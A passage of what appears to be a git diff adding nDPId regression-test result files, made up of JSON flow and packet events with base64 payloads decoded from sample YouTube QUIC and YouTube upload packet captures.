AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":134,"source":"youtube_quic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1489363824401,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"216.58.205.66","src_port":53859,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"googleads.g.doubleclick.net","user_agent":"beta Chrome\/57.0.2987.98 Intel Mac OS X 10_12_3"}} +02227{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":401989,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"gCqojWksxCwDBkn+CABFAAViiX4AAEARAADAqAEH2DrNQtJjAbsFTmyMDXhX73QJ\/9nIUTAzNQL3N20WC4prgrlnEEXpdg0UiWbXJhn9rrqPsD7nypSAi6kAnw8WQDgk9WvHBUMq3ztLT3UfD0gz+me7oBLVs9bjXCdM3vfRP04sqX92qJrBMWJiq3+eKjCNhyA3dhTNbGSGyKI7\/jcHFMipWf2f2NsuOihlYKhTPSCEE\/3dxQ5VpSOD4BfoNhUiG4SLXDgBvtHLX5RXQiz6BGmJPkfw0Dv35AvtRBL6UAIgkl\/K+oTxY08q1VHTawdG6K3aOXtZN79Qa45uh7pT1oVWMplxpgw8JT2Arpn6WXMTVuz7IIjcMmVGkmTbz31c16ROCt97FgLzWLKXSjlRTCuInYAnb8OLy7A3ZgiVpjlf24uxYYBETmSsYE22pkbiA3KDPQJQySgTeBTaSmM7bUYZKVC0sqnRUOvf3ZY91A7qJZn\/ba900D1Z+aCkzIM+N0cL4OdjAPHVbjoNNBPob96VT7KYOqrcxvdgiQK4z8YyO7qPdy3wkVPEp8S1cfxO0GcnNc57dkkmdplcftLswiLsyuSbEUEIvemACkZhnlX++EeQWxNqo5pgetjas2fIO3OoczlGrqEelJ1yoqALFrNOoHHqiCTaPzG9Vq6SC5ccc+y0eJXHfhIMNqRedbbXK4yLYwqtZ9myh7TSQTMNDNtNNcokuMoYRffKy+Hilx9blgPA+kxeACnNv8k+XoHbLejLn53fsVGrfJ27oHLpBxd0gpX8C1SWMyy3mXnpEVSzUrkvObuxIcI1iIIRkXe4ha0xa6JvFSR1XvxPQ5uBs1VZvBiRzdozCrjMOEc9HhPIaepumDcavW6RkKdtpFOTOABhKPB+xTF+tw5twgZvOB6spOi3XFDCLlgZYRUP2AglByKCpQdxHum5b0xn6Bxg+gulV7DAa4F6bq\/phQubcSVFzDkjjddAVTq8Ke7Bcb2PIaw4POMGF8i+3Ejx3gConV0\/n9f+1mrX6y1TPQ+529up7M7aIJBqu\/KbECK4GCmg+69dFQcqMdvDDodT0LicyE6jgNHVr3Xxl9T9WRp\/ZEkID0WaSc8lamVKWuAoEej6VLe9Xsojacxjt0L1ZkVNCdZBeOWPV\/2r27Cc0KxFG00xU+mkL6oc\/P+4mp1vjwqej4OpJO4H7X\/bD1uR+eKFP96VSf8gVXiQ3DmEGxcfGruXncj9yz32x4yvvKzg03pwZiXXTtpaX0N3ObUthGwiiBr3OqJCsJVke4\/DSc35dh+HTeY+td+Oc4jCcwuV2lOoS0dT73DkKXYTbuBravYDZhjPNKQNF+6bWKCm8kZsYuCZUcPzccjiAYkhk0zhBSnaWNqdI6hOWVUghH2pIeRl1S8CHH23kuVsWd8GixiV6+GG7ClvWoVE8MrCJVfuDBih03bB7tpS\/HVKC2E9e6YR1Im8\/dzl\/GrYBeLaQJMx6dvF2cWrBFw9TxwkKIBGesF7P4zSSZnZmPB\/8T0n45nH26wWJrG9slMatMUMQF1ah+pPdZ8x+tlROoO4fF2yjn4px+eRlie\/MHUCbhkcAUhlXdTBiPNIvr7yc+xKglTelzU+igEYMaYRT7qb8rNLbLWFex\/imDEBTq6nYSPvkTgwNxYJA65n\/p6p8VPjqErPaqpEUd07O9wbQiW9G2X\/qbV3yLCPMbA96flDvOZN+LC6\/DnJyMwZn5lo+SBoTbwt518b7bgUS1UA82oVmCGe8vFKQu9\/05aE1OZbqUSUoFxZX0RxFiFxGsclnNnAvgLNexJFieDNVkLIeVZwsdn1VKuKE5NTKqEm\/iO1n+rmnQA3"} +00827{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":402026,"pkt_caplen":356,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":356,"pkt_l4_len":322,"pkt":"gCqojWksxCwDBkn+CABFAAFWgV8AAEARAADAqAEH2DrNQtJjAbsBQmiADXhX73QJ\/9nIUTAzNQNN4EYmtc8pzVIIOlw5wUUTViVod6Y0+1HgA3vBxmFBB9XdzPolT4EuSqVTYDWG+BQf0+uutBG1cIb1StnXne22+Sa3VBkmnkxHzdhhHTq5RFHE1DzOC1OWyujit50aD9fovXbwARSedQlPJ7gjdJSVfTm6O3nF2k42pradZvrpU1ech4qBDDCfAnmOfCXqI5NXsD3jyb4bcNfoTf5ko+c96L+Kv0ngIjlmGgFFf6vJ8QwUVroovQmrUV9bPxW9NYlbZzDQO3\/aocbUP2HxCiVbIwPbD2Jd4G+p\/+kRB\/3zN\/cBW\/zgsZhwNASU8TEuM0gATTjCn+DvX6KA+8RurPRChvD1WnZ\/ZRI9q2M84tMzgiUjvDAoLSC7i0dr41HUDnzmJH+mr0XOTEoxFNo="} +02228{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":514002,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"xCwDBkn+gCqojWksCABFAAViAABAADcR117YOs1CwKgBBwG70mMFTvESBCvtW+gxVkE6hk54oTddBgdr86L3SyOjvMXEQqPmvkBuAaRNa6ZCVY4F4aeZ\/bjVKIBAGz+eSKeCquWfodKaC7xRPAq3rLOEQqnljpR0JWshHnnqwhS1Yjep2YOpeC3fb3CYkH4FaQOWKQEvD8gout64p2+hePX1+sAk6iXLStjU2uuDlmVIc3PpAB1wzCM5dWWCE3aIKRaMRGfZxpLv7sGZRaoFrtl0JSaeaB9jn8MIsXZBOVcRtPaJLDQuUU620tGy069cqwEfvKMOXUSj7tTPTWy0x0QxdOrlpxBRCMMZN\/BdP1\/UaMrUBPhVe8sDv+ch6XsuW5JOQ04Whk2+M5NgFwohM27Rki9\/ssGbnQrtDt1Gl0sj6QLMJ+0gOf3ENnzWJ23kiz6bc9fVfcMDSkS7OsNHbFr2pF4Hzi7aZWcoNV3Guo3Q8Fbya7stdMjWQTT2rpMvZfHm5PhvQNxOPT8\/jqU95zkLWJ8ghGBXVOKXJyiX7IALIyBuVLAsLkeKu6jOvhwnew5mnLWC\/c+5xNqYdkuwMduDi8iF1mXKLPscsnMOlDuqwAJhrQGXBFqOaZxXSObFnuFPtOInLDT8PlhhEEayPmx4+D879MyfnhcQ4nwPVpeP\/8mmGfleQsFzHYn+l0ZN7i4WTlhiKG\/C\/mtO\/nMGOTLBsvlssjvQzTb\/OoY4tvps4OyqH7t81\/DXd5s7I4ykh7dOFuM+EchHgHnrTKjfFBC3gg8sQ35yDx3VlyF5NWnQkSesIqMj4\/VjshLaCD6snidaO6Bvg5o5c1MMOisPf4KkqlZh5Yfr9NBx3JsfnMz6M5lBLPtdaRaePspaWNka4lD3JgOkcztB46Qm\/qE3gMJDSW9nuM+9BBvaAne+Ty\/3\/LQiW40aeLeNHn8s6s4e+2bBuyNKqruC8eYkQI315sqCNN5TJnBat\/EuFiFQ\/z0SlrPUXxxkoKFFaCrF3K9gCpeNWKbIezHQlS5aNLE2xewI0rup2+Tyk+voOlo3fVmL+w0J+QFSF3ctNgOURJhBxxnbQijP6l+g8ngzpgYiAECyc0HKDQ+G21Q9piUF1NkcM+tXa+IJNUhtzdeNT4Hu26y6vRKT+umb1vyRD7yawpmBR7LRWxKeIx+XFz3hQ63\/5Nax5FE4KqRv+PKIAW9sOgagWyHHv3ownXp8vR3LszhQgQ5aVyZfCu2s+WEqE2jF\/APd2a9UVJ3vCEQGoYgXdCcib4KuCMh4bsaPKDIMRvj8k487Vv3jp9XbY4X66etKFH12Sj8mn851aGpMwTZvEVveXOvQt0xJIzcdRDFRan8qkMCgcVy1S9G0rNhMAh6IdBk4GdDPWjB\/igrD5zXBaNBYrlnDrytUy1eljMlTExzVwndd7J4NREyWH7MbhQsPRMsahE3FcHNC6mENLK0zOVoXNyKhAlNCDvomkRPsdm2vcsxZqfBocGLOcuVyViU7AK6qMbviYxcVLP7w90PFWUSkFjGMdxUoEbkvo9y57znWRPo3\/PslxdNLRDfLTSCbOccNJ0uYLMuB23e9PXHKfogva3uQ6Jest\/Jd6aKe0PNYNZ\/7hn4L76yiuQqsuqKH8JvtZYaHBXT2qp1Wm5J4vzxsStLdsVxgUVQgCOMZVBbhkLOHzIRhwisH5t6jUXi+i1ROO2c3iOqxc4tYaptEykWfrfVKtUKibUiKnGx7qaN9txVqcq5GSAZu\/DmIG6vegxGbNdAK3ZvtLMwjcxkEsFOcs7f+odlh1TBLgaIgMhVI9ekiVe7CXOwWghfAwrCBftd93Q8i3XywDuUBcgiu"} +00442{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":514007,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xCwDBkn+gCqojWksCABFAAA7AABAADcR3IXYOs1CwKgBBwG70mMAJzNsAAIobyWxe\/6rNDcbPEwcnfO47zuloqgMb27L0Euq1A=="} +00438{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":514017,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"xCwDBkn+gCqojWksCABFAAA6AABAADcR3IbYOs1CwKgBBwG70mMAJlg+AANnlBBkbqXvKjkv2HpRth8TKItj0Phs+1uaP\/l0"} +00455{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":516247,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"gCqojWksxCwDBkn+CABFAABF3dAAAEARAADAqAEH2DrNQtJjAbsAMWdvDHhX73QJ\/9nIBI+H3Jy+TYo4yB6Wmzw02\/Yr317iioqMHpg07SJhS+U="} +00450{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":516346,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqojWksxCwDBkn+CABFAABCtYEAAEARAADAqAEH2DrNQtJjAbsALmdsDHhX73QJ\/9nIBUK2+bo2PappbqonsNX51k4wLrObpHDFhhhr84Q="} +00434{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":533806,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"xCwDBkn+gCqojWksCABFAAA3AABAADcR3InYOs1CwKgBBwG70mMAI9AvAASuJaNGZJtIJ\/+dG1tehDyuHnsrL2UUAg+P"} +00869{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":547996,"pkt_caplen":385,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":385,"pkt_l4_len":351,"pkt":"gCqojWksxCwDBkn+CABFAAFzfIEAAEARAADAqAEH2DrNQtJjAbsBX2idDHhX73QJ\/9nIBs4rj1KJtILWGeiHxS+GrNzAZuMEXMT8DB4OsZBikg3NJKI+oovj6SdqvL3Z62eQKduSYTDWVN5dgKIv5d8nAVgupTBfzW93\/9TRbwI457Y1UBHGQ\/3MfWCvkdS2jRyjcXmp9aXFnGkHwbG+hE4Y8uhfh6Ngr010zItOsliaTuUiifB6jrQyDy1ubGh9UwZTihKMWGZdmnfDI1wcopBwfgD5YcyxIIE0iKf83zJlGySdVS\/Cu1VFH4d2jGHgy9QU3p1nOcz3PmS2gycjIhC+YXNENxM0srNiO2WL\/U9qOBc1e8tuv7l6CF5ABNTgAaot2\/5WzFZ5TLtzE7vmedCeUfu45iqFX4Gev+eFr0brI9Z\/iGNQZthe+HhwpDHElc8DhlmXdz1E7I8rqqnqRr99UhfSpyRF+dIL\/zT62LI675EBlEohMNBOvwPZqoiFGg=="} +02232{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":597358,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"xCwDBkn+gCqojWksCABFAAViAABAADcR117YOs1CwKgBBwG70mMFTodyBCvtW+gxVkE6hk54oTddBgdr86L3SyOjvMXEQqPmvkBuBYnAit+BY\/wVi0y5fXar0Z56rJ0pC1NfYYQRhzeGGyQkE9HYVWv132DXv2cEj909iTp1KczT9dHl5GR+FtC+B92SjLfUEi5wYKXhLl7A4rWAcaB9wYr9Nmp6hrimseYukU4zMrh4cV8Kmal7XKzvd\/1RIqwnd1b5pR6tVtNlLOTtxYI9eEv6vjl0Ap\/BAo9cXVSY\/OaU18rDJ9wc\/DZkssr9G8s2xx\/3Cx41s\/7y1+ZfDL0QkHm6h4cyO3sXTl9beym87PP2sj9FOO4Gum\/l\/T+QP5Ty7z9xXPyr9Cyz5Y+30qOanqfOXmiodBIHhU3+TWHbFmpz3XG30\/mh0aqtJlBj7CRGncC4\/hLaTkq0izjnPutjNNoOn1H\/TpVYub1ZEmt0v5rPNs0k4twJwORfgkhA\/sd3bd1p6Vgm7ZZu+iD1eucgb58XPnhMSK6q\/lP9qtjqwfABNKCeWRHpl31pjy58ErWl1A3chFkkKkyi6xKaz\/QHxIVOM4WldYc0yiQvJCIv+XzeJ7nCNe1w6tT3UCnxySeYhP+TnujNGeAjKAHAWw8K5tCTy4aBSf1zLZjT9dVQ5g4xuL26Ssbv8XigXikFDxLoY9VHt+1muElasWPhd\/CSE\/IqzOnG5iLreOFpnt4D5XVNI58VctBP76Ymb9UpbOxgwbigkkzoyJ\/AvmR8eVvEtjkldJI0d0jD8hTVvpsWvPBn\/1+7b9pUIqiWZGCBC2V58sI3d\/xEx262MMhfVoPmEQz9v37ZKVzR8ul8V8gcNwMLGOnHZpZj5HtkBT3YPDoVmYdQ+w6rT+cotm7081GT8Uq3kTXU0uQBXq7Ys1w1p4mJm4w7HXDI1XPjIp4ZQmwlYAy4ChQCa2v3nqjyQZiRvJNFduGwu1MosgqrpsM6hCn866eKbqLJuYRhOU+shd98umTlTDy5fINsWhvawLRaS7JBvb59BRPHOAHB8FSYn6yfVLpr+lFFZQRX787v17uTHCpxA8wmvgYZ8U8rd\/aYTT6LH3ZJPNrePILtuJfYY2QQXFR5HXC1n1Bht+m2erODmH4EUg3oOCOgxfCC8mz8kQguy2QUdEcJ8yvQLYbGpPHaN0Hcj525jEt0JG77GUsQetcfdjzrPkcSvYJqRFPrIRDbwkJjAzaNFXaA6R+eWKiUGxqAMclyEOw6193JMNCaXgVviSC3vlReuzf8g4tX6TTv9LZj7OE1PibdlFG32m0mZZV6efkCAH5NmQur5IEZv1uNtgdm8PUwvW0yrkZp2rOFXaRefdewF\/cZTmy4z1zjHEwRt9COCYQvc0MlGnyWkgCaT6uoclYNnBcgKOx\/zRSeuDRz5rtfemOQVbxVg5AnW98Uwkj4vPWOcMRMZVLYC6aJ4\/W2qJb34KtryUpeUoOezbdABoeI0BpLfMwk4Z1M9R4MDPrAvIBfJjRxuQkh\/eGfC6epcMDsuF6BpyIM+5ziJR7UcWx2CBiy8dFC568diTMvvIFjRpcN51+ovC13aX3IAX0BXya1UEa9jxYDQrUbhpiJW09W5FulIiFa1gkg8AdYFMxp2j1Y5sg44gPTAYtf3XQybsoRKAM2N7\/sP5jyPfl\/Y+Ow+YQrDwwUF8xpHcKXLIRXIOndx1tcac4274zAVVfvhi+XO895CMkQUAXaeKByx+IYjgmhvScOl6587dM84t+0IzKfh5hiv40Q2\/smJPH8D0aYq38JLLb9b3MV84oimZc24n0q45THIsXDe8MZNfV7E+zgnATJoFti"} +01530{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":602597,"pkt_caplen":876,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":876,"pkt_l4_len":842,"pkt":"xCwDBkn+gCqojWksCABFAANeAABAADcR2WLYOs1CwKgBBwG70mMDSuxyAAampVwYTyixdOWOr9MEDLE6k4dL58Cw7pkBCGmT2xl\/QYDQEsMtuXo\/45NMD0jdNETYVe5lfzn8TPH9r+geIRmdlUEbV\/BFZMP8bKbuBjNfVj4yIu17plHd8UGzR+HsC6QT9i5koyOsKcdDcli\/QpY7TuAOWLM+ZCnIlOpBlsq2jl\/7OFuD69mmPdf96ROXDVCarKtAEJJqh+XNJZ1qt1R7cPODhjDJ4yJA4kmumoQGWFLiFXbCm9LdxuCC+F5knHK8uvJTIxU71q+6YmYRSJOlMjhOhkW5sypA32kyETRrIWrXOL5HogVmqdtJqsLTt90oa5wPw1Jt95dlGXmgC\/CQAjg6zQGA+1ZN5dOtvGmaqSvCwxY\/TJtHwxnZypI7MkuK\/kWCmd6dG0bg7ICXlc9XZlOvobf0kBlXGCquo2VxxfWoYYHzH1N0H5MiHYGIejtsyFwdyQoimxvlq+E9E031vaaou6gQcL4gxfpaa5x5GH2z7AgP5w6AfN11WOL2HsmwVcvIHv1QDw3pkAWXvNKKqeix3SWA2ofTS6blPdzLpU\/\/bcZOcgqZzlwrw0tJS7eUqSc68nMdjycqKod0x0DCZgBW+j5HlSTM54dje\/xyps1FL6Q+qH8t5Fms3iRH5EKmCPxKOelfY0i2te7\/eWLElUTM8hyB2dzS1yfafUskj45mAJbiKbha5\/NASvt67LChrrbH6g\/YJ75JF0Nu+iABoDvgyn0pI4Y9PpAKsCuPHCLqOVHHfuSDVrrMmyOMXd5FaQN+MW2JCKx+3ztgHSGHdyPXsA87Jad4UZ4CvU7nuV0qm2vDehlGiIWFG1ZioFQ8lATTRYKfBw0djMlq7rFMT844ft8YZYeZica57ZMDqoknG+lqATV0jaMVnyTfo2WrWMzwM9I+BAXCCOkJe88ZTVtS53RADM7bGzqTqZtlnRBbqyW0CmbwxLiNOu2tFh440mMNTJX1BNyZgjGFfIpQP4AQTPX1W6yk0cNCe1wr265GJOHhZ\/6AA+0ikcs3fMMFB8YDJg2YTWM2k\/U0uJiPx5NDwn8rYJYtEAGxb4OMHNAqcAZm0x1QbYNivL2l45lVPYiORIdnP1QqGA\/X8uxe"} +00452{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":602842,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqojWksxCwDBkn+CABFAABCri0AAEARAADAqAEH2DrNQtJjAbsALmdsDHhX73QJ\/9nIB1LOOHmObBjHygjU4gg8ut\/ZA4C6iNTIFTt388k="} +00442{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":636293,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"xCwDBkn+gCqojWksCABFAAA9AABAADcR3IPYOs1CwKgBBwG70mMAKSH+AAf+nADu3vIaZ6KuZBEpmBE1my9pcSDsXentJrwW7yRM"} +01312{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":682420,"pkt_caplen":712,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":712,"pkt_l4_len":678,"pkt":"xCwDBkn+gCqojWksCABFAAK6AABAADcR2gbYOs1CwKgBBwG70mMCpm4xAAjnzUstzirPdOuX3yvGKh35BOQzO7Jm4esyq3UxsYnOLzSmRjd8WgEU55SZFA4kEqDSoKKbbOAy2wwHZspNJJc0FTqn7Mg3asUsu5BZFr4\/HpjEhxvVbso47vMmL4g6wIZVEqmHuajpT+E\/LQ0jWESy6QQUQ\/b+YFX0PAMl3eI\/lHpROKKSsMVVlt1SgM2ibVzxbs2ZrPLZm0l5tDPYmpPTbWagW2in9vP1qwPj3soTeLvM0zqN5mLQZlj9K7gGd6U08E55CEXLEo91Kj8PTecUyDwH4xgQdeB\/AHzV826AqxbgyFkMRDFEa85GrACCjr51el1KFnFEJLLJY31KC7DTQMAPSFpds4k+TWCUm9DvUqPLJpGPFx\/dGD35j5UjgmRu5yba8JKUQEuNbM0qKqdZsO\/sJW\/W6lFP6ASH+NpltGwvvgp4\/pmbLvrZR6\/Z3bm\/4GfbNeHUWt9t0p4Urjw7jAcdB9z39nFpjO+pVm4MyNMM5yduaAdAuTFIPSHeoTi3UbgvMujmAMvSWCTUzycjYVEawxYEN7U+hL9g5j\/FgTtOpb0q9yqMdD96G5RpNV2NbvSaSt1Ni6pxvyST6Ipe5SXB12hycYrhoMoBbh0M1dqe7efCKNdQOnUAT7i6zLWJkNwIM3F4KEJicIlbg63G3B0X9EWHdU5ESsf9K7O5yppvV+Sx3ka+e4oJ4ca6Jl+iY69imGj2QpImkdnW+tsEELR2Bryz3lP3ofLhSrpzIjwQTrMzcY2EGyRn1qXppCSkd1CK6S4CRX0gYxVOGoOD\/r\/G9rlKdDdfxQu5No2I0mIkP\/PBVREDmvYwl8ugvF0O2Pzk1Exfe4xC32kzvjUel9Ovyn5PHa7xhxJk1ZaHhixciHIHwh96qteXRg=="} diff --git a/test/results/youtubeupload.pcap.out b/test/results/youtubeupload.pcap.out new file mode 100644 index 000000000..850b1bc0e --- /dev/null +++ b/test/results/youtubeupload.pcap.out @@ -0,0 +1,51 @@ +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"youtubeupload.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1511102576794,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.27","dst_ip":"172.217.23.111","src_port":51925,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02205{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":794424,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"XEl5dU5q2MuK4S0uCABFAAViAT5AAIARbUHAqAIbrNkXb8rVAbsFThECDZHSvk7nMdgaUTAzOQFHnN3hyT1jd4lP+l6gAQUUQ0hMTxMAAABQQUQAywMAAFNOSQDdAwAAVkVSAOEDAABDQ1MA8QMAAE1TUEP1AwAAVUFJRCQEAABUQ0lEKAQAAFBETUQsBAAAU01ITDAEAABJQ1NMNAQAAENUSU08BAAATk9OUFwEAABNSURTYAQAAFNDTFNkBAAAQ1NDVGQEAABDT1BUaAQAAElSVFRsBAAAQ0ZDV3AEAABTRkNXdAQAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tdXBsb2FkLnlvdXR1YmUuY29tUTAzOQHogWCSkhrofu2AhqIVgpFkAAAAQ2hyb21lLzYyLjAuMzIwMi45NCBXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQAAAAAWDUwOQEAAAAeAAAAc5gRWgAAAABmJfKEu+Ky\/D790R+7T+2\/0X2\/pJXF+QSwhgBhJRTmB2QAAAABAAAANVJUT5jAAAAAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 